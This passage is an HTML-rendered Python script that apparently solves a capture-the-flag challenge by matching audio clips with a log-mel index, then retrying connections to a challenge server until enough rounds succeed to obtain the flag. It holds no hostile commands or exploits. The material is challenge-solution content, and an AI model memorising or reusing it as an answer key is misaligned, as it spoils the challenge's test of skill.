&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;145&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;`matcher` may be passed in so sequential mode builds the ~700 MiB coarse index&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;146&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;once instead of once per worker.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;147&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&quot;&quot;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;148&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;sys.path.&lt;/span&gt;&lt;span&gt;insert&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;str&lt;/span&gt;&lt;span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;WORKSPACE&lt;/span&gt;&lt;span&gt;))&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;149&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;150&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;max_attempts &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt;&lt;span&gt;(args.&lt;/span&gt;&lt;span&gt;get&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&quot;attempts&quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;))&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;151&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; matcher &lt;/span&gt;&lt;span&gt;is&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;None&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;152&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;from&lt;/span&gt;&lt;span&gt; challenge_fastmatch &lt;/span&gt;&lt;span&gt;import&lt;/span&gt;&lt;span&gt; LogMelMatcher&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;153&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;matcher &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;LogMelMatcher&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;verbose&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;False&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;154&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;overall &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;span&gt;&quot;worker&quot;&lt;/span&gt;&lt;span&gt;: worker_id, &lt;/span&gt;&lt;span&gt;&quot;correct&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&quot;rounds&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&quot;flag&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;None&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;155&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;               &lt;/span&gt;&lt;span&gt;&quot;error&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;None&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&quot;latencies&quot;&lt;/span&gt;&lt;span&gt;: [], &lt;/span&gt;&lt;span&gt;&quot;attempts&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&quot;best&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;156&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
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Keep this modest: stress testing showed a &quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;269&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;                         &lt;/span&gt;&lt;span&gt;&quot;single-threaded server only serves ~9 concurrent clients, and the &quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;270&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;                         &lt;/span&gt;&lt;span&gt;&quot;rest get queued until their 3 s budget expires. Prefer attempts.&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;271&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;ap.&lt;/span&gt;&lt;span&gt;add_argument&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;--attempts&quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;type&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;default&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;8&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;272&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;                    &lt;/span&gt;&lt;span&gt;help&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;max separate connections per worker (each gets a fresh 3 s budget). &quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;273&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;                         &lt;/span&gt;&lt;span&gt;&quot;Per-round accuracy is ~75-80 &lt;/span&gt;&lt;span&gt;%%&lt;/span&gt;&lt;span&gt;, so one 10-round attempt usually &quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;274&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;                         &lt;/span&gt;&lt;span&gt;&quot;falls short of 9/10; retries are what make the solve reliable.&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;275&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;ap.&lt;/span&gt;&lt;span&gt;add_argument&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;--sequential&quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;action&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;store_true&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;276&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;                    &lt;/span&gt;&lt;span&gt;help&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;one connection at a time (retry after retry) instead of N in &quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;277&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;                         &lt;/span&gt;&lt;span&gt;&quot;parallel. Gentlest on the server and by far the easiest output &quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;278&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;                         &lt;/span&gt;&lt;span&gt;&quot;to follow; the coarse index is built once and reused.&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;279&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;ap.&lt;/span&gt;&lt;span&gt;add_argument&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;--verbose&quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;action&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;store_true&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;280&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;                    &lt;/span&gt;&lt;span&gt;help&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;kept for compatibility; per-round detail is always shown&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;281&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;ap.&lt;/span&gt;&lt;span&gt;add_argument&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;--no-pause&quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;action&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;store_true&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;282&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;                    &lt;/span&gt;&lt;span&gt;help&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;do not wait for Enter before exiting (pause is automatic when &quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;283&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;                         &lt;/span&gt;&lt;span&gt;&quot;stdin is a terminal, and skipped when output is piped)&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;284&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;ap.&lt;/span&gt;&lt;span&gt;add_argument&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;--worker-id&quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;type&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;default&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;None&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;285&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;                    &lt;/span&gt;&lt;span&gt;help&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;internal: run a single worker and exit&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;286&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;ap.&lt;/span&gt;&lt;span&gt;add_argument&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;--log-dir&quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;default&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;str&lt;/span&gt;&lt;span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;WORKSPACE&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&quot;findit&quot;&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&quot;_solver_logs&quot;&lt;/span&gt;&lt;span&gt;))&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;287&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;args &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; ap.&lt;/span&gt;&lt;span&gt;parse_args&lt;/span&gt;&lt;span&gt;()&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;288&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;289&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;sys.path.&lt;/span&gt;&lt;span&gt;insert&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;str&lt;/span&gt;&lt;span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;WORKSPACE&lt;/span&gt;&lt;span&gt;))&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;290&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;291&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; args.worker_id &lt;/span&gt;&lt;span&gt;is&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;not&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;None&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;292&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;r &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;run_worker&lt;/span&gt;&lt;span&gt;(args.host, args.port, args.worker_id,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;293&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;                       &lt;/span&gt;&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;&quot;verbose&quot;&lt;/span&gt;&lt;span&gt;: args.verbose, &lt;/span&gt;&lt;span&gt;&quot;attempts&quot;&lt;/span&gt;&lt;span&gt;: args.attempts,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;294&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;                        &lt;/span&gt;&lt;span&gt;&quot;ssl&quot;&lt;/span&gt;&lt;span&gt;: args.ssl, &lt;/span&gt;&lt;span&gt;&quot;sni&quot;&lt;/span&gt;&lt;span&gt;: args.sni})&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;295&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;print&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;RESULT &quot;&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt; json.&lt;/span&gt;&lt;span&gt;dumps&lt;/span&gt;&lt;span&gt;(r), &lt;/span&gt;&lt;/span&gt;&lt;span&gt;flush&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;True&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;296&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;return&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;297&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;298&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;from&lt;/span&gt;&lt;span&gt; challenge_fastmatch &lt;/span&gt;&lt;span&gt;import&lt;/span&gt;&lt;span&gt; LogMelMatcher&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;299&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;300&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;t0 &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; time.&lt;/span&gt;&lt;span&gt;perf_counter&lt;/span&gt;&lt;span&gt;()&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;301&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;warm &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;LogMelMatcher&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;verbose&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;False&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;302&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;warm.&lt;/span&gt;&lt;span&gt;build&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;52&lt;/span&gt;&lt;span&gt;)                       &lt;/span&gt;&lt;span&gt;# pre-build the coarse index once&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;303&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;print&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;f&lt;/span&gt;&lt;span&gt;&quot;matcher ready in &lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;&lt;span&gt;time.&lt;/span&gt;&lt;span&gt;perf_counter&lt;/span&gt;&lt;span&gt;()&lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt;t0&lt;/span&gt;&lt;/span&gt;&lt;span&gt;:.2f&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;span&gt;s: &lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;len&lt;/span&gt;&lt;span&gt;(warm.ids)&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;span&gt; tracks, &quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;304&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;          &lt;/span&gt;&lt;span&gt;f&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;warm.lib_c.shape[&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;span&gt; coarse windows&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;305&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;del&lt;/span&gt;&lt;span&gt; warm&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;306&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;307&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;n &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;max&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;, args.workers)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;308&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;log_dir &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Path&lt;/span&gt;&lt;span&gt;(args.log_dir)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;309&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;log_dir.&lt;/span&gt;&lt;span&gt;mkdir&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;parents&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;True&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;exist_ok&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;True&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;310&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;results: list[&lt;/span&gt;&lt;span&gt;dict&lt;/span&gt;&lt;span&gt;&lt;span&gt;] &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; []&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;311&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;312&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;# ---- sequential mode: one connection at a time, retry after retry ----------&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;313&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;# Gentlest on the server and the easiest output to read; the coarse index is&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;314&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;# built once and reused by every worker instead of once per worker.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;315&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; args.sequential &lt;/span&gt;&lt;span&gt;or&lt;/span&gt;&lt;span&gt;&lt;span&gt; n &lt;/span&gt;&lt;span&gt;==&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;316&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;from&lt;/span&gt;&lt;span&gt; challenge_fastmatch &lt;/span&gt;&lt;span&gt;import&lt;/span&gt;&lt;span&gt; LogMelMatcher&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;317&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;shared &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;LogMelMatcher&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;verbose&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;False&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;318&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;print&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;f&lt;/span&gt;&lt;span&gt;&quot;sequential mode: 1 connection at a time, up to &lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;args.attempts&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;319&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;              &lt;/span&gt;&lt;span&gt;f&lt;/span&gt;&lt;span&gt;&quot;attempts per worker, &lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;n&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;span&gt; worker(s)&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;320&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;for&lt;/span&gt;&lt;span&gt; i &lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;range&lt;/span&gt;&lt;span&gt;(n):&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;321&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;r &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; 